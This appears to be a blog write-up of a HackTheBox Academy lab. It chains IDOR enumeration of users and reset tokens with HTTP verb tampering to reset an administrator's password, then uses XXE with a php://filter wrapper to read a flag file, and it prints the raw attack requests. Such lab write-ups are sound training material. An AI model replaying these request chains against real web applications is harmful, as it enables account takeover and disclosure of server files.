DEV Community

Hassan Elsayed
Hassan Elsayed

Posted on

HTB Web Attacks — Skills Assessment Writeup

Introduction

Walking through my solve of the Web Attacks Skills Assessment from HackTheBox Academy. This one tested three separate vulnerability classes: IDOR (Insecure Direct Object Reference), HTTP Verb Tampering, and XXE (XML External Entity) Injection.

What made it interesting is that it needed all three chained together to reach the final goal — each vuln built on the previous one, a good demo of how small flaws compound into a full system compromise.

Challenge Overview

  • Target: web app (social networking platform)
  • Given credentials: htb-student:Academy_student!
  • Goal: escalate privileges and read the flag at /flag.php
  • Skills tested: IDOR, HTTP parameter tampering, XXE injection

Step 1: Initial Recon

After logging in with the provided creds, I explored the app through Burp Suite to map out functionality and look for attack vectors — starting with how it handles sessions and API calls.

Step 2: Discovering the IDOR

While intercepting traffic, I found an API endpoint that returns user info:

GET /api.php/user/74 HTTP/1.1
Host: 154.57.164.83:30772
Cookie: PHPSESSID=5tdab0pea9581eafu321oslqc2; uid=74
Enter fullscreen mode Exit fullscreen mode

Response:

{
  "uid": "74",
  "username": "htb-student",
  "full_name": "Paolo Perrone",
  "company": "Schaefer Inc"
}
Enter fullscreen mode Exit fullscreen mode

The critical observation: the app relied purely on the URL parameter to decide whose data to return — no server-side check on whether the requesting user actually had permission. Textbook IDOR.

Step 3: User Enumeration

Confirmed the vuln, then enumerated users. Manual testing first:

GET /api.php/user/1 HTTP/1.1
GET /api.php/user/2 HTTP/1.1
GET /api.php/user/3 HTTP/1.1
...
Enter fullscreen mode Exit fullscreen mode

Every request returned a different user's data. To speed this up, I ran Burp Intruder over IDs 1–100 (payload type: Numbers, from 1 to 100, step 1) and pulled all 100 users' info in one pass.

Step 4: Finding the Administrator Account

Scanning the enumeration results for anything with elevated privileges, one entry stood out:

{
  "uid": "52",
  "username": "a.corrales",
  "full_name": "Amor Corrales",
  "company": "Administrator"
}
Enter fullscreen mode Exit fullscreen mode

🎯 Target identified: user ID 52, a.corrales — Administrator.

Step 5: Attempting to Hijack the Admin Account

I looked at how password reset works by triggering it on my own account and intercepting the two requests involved.

Request 1 — fetch the token:

GET /api.php/token/74 HTTP/1.1
Host: 154.57.164.83:30772
Enter fullscreen mode Exit fullscreen mode

Response:

{
  "token": "e51a8a14-17ac-11ec-8e67-a3c050fe0c26"
}
Enter fullscreen mode Exit fullscreen mode

Request 2 — reset the password:

POST /reset.php HTTP/1.1
Host: 154.57.164.83:30772
Content-Type: application/x-www-form-urlencoded

uid=74&token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&password=newpass
Enter fullscreen mode Exit fullscreen mode

The plan: since the IDOR lets me pull any user's token, I could fetch admin's token from /api.php/token/52 and reset their password with it.

Step 6: First Attempt — Access Denied

I modified the reset request to target user 52:

POST /reset.php HTTP/1.1
Host: 154.57.164.83:30772
Cookie: PHPSESSID=5tdab0pea9581eafu321oslqc2; uid=52

uid=52&token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&password=1234
Enter fullscreen mode Exit fullscreen mode

Response:

Access Denied
Enter fullscreen mode Exit fullscreen mode

❌ Failed — the server was validating something. My token (issued for user 74) wasn't valid for user 52.

Step 7: HTTP Verb Tampering

Apps sometimes enforce inconsistent security controls across HTTP methods. What if GET has weaker validation than POST?

GET /reset.php?uid=52&token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&password=1234 HTTP/1.1
Host: 154.57.164.83:30772
Enter fullscreen mode Exit fullscreen mode

Response:

Invalid token
Enter fullscreen mode Exit fullscreen mode

Progress — the error changed from "Access Denied" to "Invalid token." The method swap bypassed the access control; I just needed the right token for user 52.

Step 8: Combining IDOR + HTTP Verb Tampering

Now I had both pieces: IDOR to fetch any user's token, and verb tampering to bypass the reset endpoint's access control.

Fetch admin's token via IDOR:

GET /api.php/token/52 HTTP/1.1
Host: 154.57.164.83:30772
Enter fullscreen mode Exit fullscreen mode

Response:

{
  "token": "e51a85fa-17ac-11ec-8e51-e78234eb7b0c"
}
Enter fullscreen mode Exit fullscreen mode

Reset admin's password with the valid token:

GET /reset.php?uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=1234 HTTP/1.1
Host: 154.57.164.83:30772
Enter fullscreen mode Exit fullscreen mode

Response:

Password changed successfully
Enter fullscreen mode Exit fullscreen mode

✅ Administrator's password reset to 1234.

Step 9: Accessing the Admin Panel

Logged in with the compromised creds (a.corrales / 1234) and got full admin access. A new feature was visible that regular users don't get: Add Event.

Step 10: Discovering the XXE Vulnerability

Intercepting the "Add Event" request showed the app accepts raw XML:

POST /addEvent.php HTTP/1.1
Host: 154.57.164.78:30221
Content-Type: text/plain;charset=UTF-8

<root>
    <name>test</name>
    <details>test details</details>
    <date>2024-01-01</date>
</root>
Enter fullscreen mode Exit fullscreen mode

Response:

Event 'test' has been created.
Enter fullscreen mode Exit fullscreen mode

The <name> value gets reflected back in the response — a strong signal the app might be vulnerable to XML External Entity (XXE) injection.

Step 11: Testing for XXE

First attempt: a basic XXE payload trying to read /flag.php directly.

Response:

Event '' has been created.
Enter fullscreen mode Exit fullscreen mode

❌ Didn't work as expected — /flag.php contains PHP code, and when the XML parser tries to read it, the server executes the PHP instead of returning it as plain text.

Step 12: XXE with PHP Filters — The Fix

PHP's stream filter wrapper php://filter with convert.base64-encode lets you:

  • read the PHP file as raw text instead of executing it
  • base64-encode it, sidestepping special-character issues
  • exfiltrate it through the XXE

Sending the payload through this wrapper got:


Event 'PD9waHAKJGZsYWcgPSAiSFRCe21YWFH...' has been created.
Enter fullscreen mode Exit fullscreen mode

✅ Success — the base64-encoded contents of /flag.php came back in the event name.

🎯 Flag captured: HTB{mxxxxr_xxb_4xxxxr}

Vulnerability Chain Summary

1. IDOR on /api.php/user/{id} → enumerate all users → find admin
2. IDOR on /api.php/token/{id} → steal admin's reset token
3. HTTP verb tampering (POST → GET) → bypass reset endpoint's access control
4. Admin password reset → full admin access
5. XXE in the new "Add Event" feature via php://filter → read /flag.php
Enter fullscreen mode Exit fullscreen mode

Three separate flaws — none individually catastrophic on its own — chained into full compromise.

Top comments (0)